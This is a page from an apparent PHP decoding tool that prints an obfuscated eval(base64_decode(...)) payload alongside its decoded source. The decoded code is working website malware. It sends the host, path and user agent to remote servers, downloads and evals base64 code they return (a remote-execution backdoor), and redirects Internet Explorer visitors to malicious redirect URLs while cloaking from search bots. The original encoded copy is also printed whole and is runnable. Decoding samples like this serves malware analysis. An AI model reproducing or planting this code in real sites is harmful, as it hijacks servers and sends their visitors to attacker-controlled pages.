Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("ZnVuY3Rpb24gZ2V0X3Rkc183NzcoJHVybCl7JGNvbnRlbnQ9IiI7JGNvbnRlbnQ9QHRyeW..

Decoded Output download

function get_tds_777($url){$content="";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return '';}  function trycurl_777($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}  function tryfile_777($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}  function tryfopen_777($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}  function tryfsockopen_777($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0
";$request.="Host: $host

";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function trysocket_777($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0
";$request.="Host: $host

";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}  function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];$actual2=$_SERVER['s_a2'];$val=get_tds_777($actual1);if ($val=="")$val=get_tds_777($actual2);$f=@fopen($tdsfile,"w");if ($f){@fwrite($f,$val);@fclose($f);}if (strstr($val,"|||CODE|||")){list($val,$code)=explode("|||CODE|||",$val);eval(base64_decode($code));}return $val;}  function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];$dir=$_SERVER['s_p1'];$tdsfile=$dir."log1.txt";if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);$ctime=time()-$mtime;if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);}else{$content=@file_get_contents($tdsfile);}}else{$content=update_tds_file_777($tdsfile);}$tds=@explode("
",$content);$c=@count($tds)+0;$url=$defaultdomain;if ($c>1){$url=trim($tds[mt_rand(0,$c-2)]);}return $url;}  function is_mac_777($ua){$mac=0;return $mac;}  function is_msie_777($ua){$msie=0;if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;return $msie;}    $rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";$mz="/tmp/";if (!@is_dir($rz)){@mkdir($rz);if (@is_dir($rz)){$mz=$rz;}else{$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";if (!@is_dir($rz)){@mkdir($rz);if (@is_dir($rz)){$mz=$rz;}}else{$mz=$rz;}}}else{$mz=$rz;}$bot=0;$ua=$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;$msie=0;if (is_msie_777($ua))$msie=1;$mac=0;if (is_mac_777($ua))$mac=1;if (($msie==0)&&($mac==0))$bot=1;    $_SERVER['s_p1']=$mz;  $_SERVER['s_b1']=$bot;  $_SERVER['s_t1']=1200;  $_SERVER['s_d1']=base64_decode('aHR0cDovL21lbm90ZXBvZXIuY29tLw==');  $d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);  $_SERVER['s_a1']=base64_decode('aHR0cDovL25saW50aGV3b29kLmNvbS9nX2xvYWQucGhw').$d;  $_SERVER['s_a2']=base64_decode('aHR0cDovL21heGlnZy5ydS9nX2xvYWQucGhw').$d;  $_SERVER['s_script']="tt.php?x=1";  	if ($_SERVER['s_b1']==0){  		header("Location: ".get_actual_tds_777().$_SERVER['s_script']);  		exit;  	}

Did this file decode correctly?

Original Code

eval(base64_decode("ZnVuY3Rpb24gZ2V0X3Rkc183NzcoJHVybCl7JGNvbnRlbnQ9IiI7JGNvbnRlbnQ9QHRyeWN1cmxfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmaWxlXzc3NygkdXJsKTtpZigkY29udGVudCE9PWZhbHNlKXJldHVybiAkY29udGVudDskY29udGVudD1AdHJ5Zm9wZW5fNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmc29ja29wZW5fNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlzb2NrZXRfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50O3JldHVybiAnJzt9ICBmdW5jdGlvbiB0cnljdXJsXzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpPT09ZmFsc2UpcmV0dXJuIGZhbHNlOyRjaCA9IGN1cmxfaW5pdCAoKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1VSTCwkdXJsKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDUpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTskcmVzdWx0ID0gY3VybF9leGVjICgkY2gpO2N1cmxfY2xvc2UoJGNoKTtpZiAoJHJlc3VsdD09IiIpcmV0dXJuIGZhbHNlO3JldHVybiAkcmVzdWx0O30gIGZ1bmN0aW9uIHRyeWZpbGVfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZmlsZScpPT09ZmFsc2UpcmV0dXJuIGZhbHNlOyRpbmM9QGZpbGUoJHVybCk7JGJ1Zj1AaW1wbG9kZSgnJywkaW5jKTtpZiAoJGJ1Zj09IiIpcmV0dXJuIGZhbHNlO3JldHVybiAkYnVmO30gIGZ1bmN0aW9uIHRyeWZvcGVuXzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGJ1Zj0nJzskZj1AZm9wZW4oJHVybCwncicpO2lmICgkZil7d2hpbGUoIWZlb2YoJGYpKXskYnVmLj1mcmVhZCgkZiwxMDAwMCk7fWZjbG9zZSgkZik7fWVsc2UgcmV0dXJuIGZhbHNlO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5ZnNvY2tvcGVuXzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpPT09ZmFsc2UpcmV0dXJuIGZhbHNlOyRwPUBwYXJzZV91cmwoJHVybCk7JGhvc3Q9JHBbJ2hvc3QnXTskdXJpPSRwWydwYXRoJ10uJz8nLiRwWydxdWVyeSddOyRmPUBmc29ja29wZW4oJGhvc3QsODAsJGVycm5vLCAkZXJyc3RyLDMwKTtpZighJGYpcmV0dXJuIGZhbHNlOyRyZXF1ZXN0ID0iR0VUICR1cmkgSFRUUC8xLjBcbiI7JHJlcXVlc3QuPSJIb3N0OiAkaG9zdFxuXG4iO2Z3cml0ZSgkZiwkcmVxdWVzdCk7JGJ1Zj0nJzt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTtpZiAoJGJ1Zj09IiIpcmV0dXJuIGZhbHNlO2xpc3QoJG0sJGJ1Zik9ZXhwbG9kZShjaHIoMTMpLmNocigxMCkuY2hyKDEzKS5jaHIoMTApLCRidWYpO3JldHVybiAkYnVmO30gIGZ1bmN0aW9uIHRyeXNvY2tldF83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdzb2NrZXRfY3JlYXRlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGlwMT1AZ2V0aG9zdGJ5bmFtZSgkaG9zdCk7JGlwMj1AbG9uZzJpcChAaXAybG9uZygkaXAxKSk7IGlmICgkaXAxIT0kaXAyKXJldHVybiBmYWxzZTskc29jaz1Ac29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO2lmICghQHNvY2tldF9jb25uZWN0KCRzb2NrLCRpcDEsODApKXtAc29ja2V0X2Nsb3NlKCRzb2NrKTtyZXR1cm4gZmFsc2U7fSRyZXF1ZXN0ID0iR0VUICR1cmkgSFRUUC8xLjBcbiI7JHJlcXVlc3QuPSJIb3N0OiAkaG9zdFxuXG4iO3NvY2tldF93cml0ZSgkc29jaywkcmVxdWVzdCk7JGJ1Zj0nJzt3aGlsZSgkdD1zb2NrZXRfcmVhZCgkc29jaywxMDAwMCkpeyRidWYuPSR0O31Ac29ja2V0X2Nsb3NlKCRzb2NrKTtpZiAoJGJ1Zj09IiIpcmV0dXJuIGZhbHNlO2xpc3QoJG0sJGJ1Zik9ZXhwbG9kZShjaHIoMTMpLmNocigxMCkuY2hyKDEzKS5jaHIoMTApLCRidWYpO3JldHVybiAkYnVmO30gIGZ1bmN0aW9uIHVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpeyRhY3R1YWwxPSRfU0VSVkVSWydzX2ExJ107JGFjdHVhbDI9JF9TRVJWRVJbJ3NfYTInXTskdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwxKTtpZiAoJHZhbD09IiIpJHZhbD1nZXRfdGRzXzc3NygkYWN0dWFsMik7JGY9QGZvcGVuKCR0ZHNmaWxlLCJ3Iik7aWYgKCRmKXtAZndyaXRlKCRmLCR2YWwpO0BmY2xvc2UoJGYpO31pZiAoc3Ryc3RyKCR2YWwsInx8fENPREV8fHwiKSl7bGlzdCgkdmFsLCRjb2RlKT1leHBsb2RlKCJ8fHxDT0RFfHx8IiwkdmFsKTtldmFsKGJhc2U2NF9kZWNvZGUoJGNvZGUpKTt9cmV0dXJuICR2YWw7fSAgZnVuY3Rpb24gZ2V0X2FjdHVhbF90ZHNfNzc3KCl7JGRlZmF1bHRkb21haW49JF9TRVJWRVJbJ3NfZDEnXTskZGlyPSRfU0VSVkVSWydzX3AxJ107JHRkc2ZpbGU9JGRpci4ibG9nMS50eHQiO2lmIChAZmlsZV9leGlzdHMoJHRkc2ZpbGUpKXskbXRpbWU9QGZpbGVtdGltZSgkdGRzZmlsZSk7JGN0aW1lPXRpbWUoKS0kbXRpbWU7aWYgKCRjdGltZT4kX1NFUlZFUlsnc190MSddKXskY29udGVudD11cGRhdGVfdGRzX2ZpbGVfNzc3KCR0ZHNmaWxlKTt9ZWxzZXskY29udGVudD1AZmlsZV9nZXRfY29udGVudHMoJHRkc2ZpbGUpO319ZWxzZXskY29udGVudD11cGRhdGVfdGRzX2ZpbGVfNzc3KCR0ZHNmaWxlKTt9JHRkcz1AZXhwbG9kZSgiXG4iLCRjb250ZW50KTskYz1AY291bnQoJHRkcykrMDskdXJsPSRkZWZhdWx0ZG9tYWluO2lmICgkYz4xKXskdXJsPXRyaW0oJHRkc1ttdF9yYW5kKDAsJGMtMildKTt9cmV0dXJuICR1cmw7fSAgZnVuY3Rpb24gaXNfbWFjXzc3NygkdWEpeyRtYWM9MDtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgICRyej0kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLiIvLmxvZ3MvIjskbXo9Ii90bXAvIjtpZiAoIUBpc19kaXIoJHJ6KSl7QG1rZGlyKCRyeik7aWYgKEBpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIUBpc19kaXIoJHJ6KSl7QG1rZGlyKCRyeik7aWYgKEBpc19kaXIoJHJ6KSl7JG16PSRyejt9fWVsc2V7JG16PSRyejt9fX1lbHNleyRtej0kcno7fSRib3Q9MDskdWE9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddO2lmIChzdHJpc3RyKCR1YSwibXNuYm90Iil8fHN0cmlzdHIoJHVhLCJZYWhvbyIpKSRib3Q9MTtpZiAoc3RyaXN0cigkdWEsImJpbmdib3QiKXx8c3RyaXN0cigkdWEsImdvb2dsZSIpKSRib3Q9MTskbXNpZT0wO2lmIChpc19tc2llXzc3NygkdWEpKSRtc2llPTE7JG1hYz0wO2lmIChpc19tYWNfNzc3KCR1YSkpJG1hYz0xO2lmICgoJG1zaWU9PTApJiYoJG1hYz09MCkpJGJvdD0xOyAgICAkX1NFUlZFUlsnc19wMSddPSRtejsgICRfU0VSVkVSWydzX2IxJ109JGJvdDsgICRfU0VSVkVSWydzX3QxJ109MTIwMDsgICRfU0VSVkVSWydzX2QxJ109YmFzZTY0X2RlY29kZSgnYUhSMGNEb3ZMMjFsYm05MFpYQnZaWEl1WTI5dEx3PT0nKTsgICRkPSc/ZD0nLnVybGVuY29kZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiImcD0iLnVybGVuY29kZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkuIiZhPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSk7ICAkX1NFUlZFUlsnc19hMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDI1c2FXNTBhR1YzYjI5a0xtTnZiUzluWDJ4dllXUXVjR2h3JykuJGQ7ICAkX1NFUlZFUlsnc19hMiddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDIxaGVHbG5aeTV5ZFM5blgyeHZZV1F1Y0dodycpLiRkOyAgJF9TRVJWRVJbJ3Nfc2NyaXB0J109InR0LnBocD94PTEiOyAgCWlmICgkX1NFUlZFUlsnc19iMSddPT0wKXsgIAkJaGVhZGVyKCJMb2NhdGlvbjogIi5nZXRfYWN0dWFsX3Rkc183NzcoKS4kX1NFUlZFUlsnc19zY3JpcHQnXSk7ICAJCWV4aXQ7ICAJfQ=="));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 e21b4208280f3bf299545ae42591a93f
Eval Count 1
Decode Time 102 ms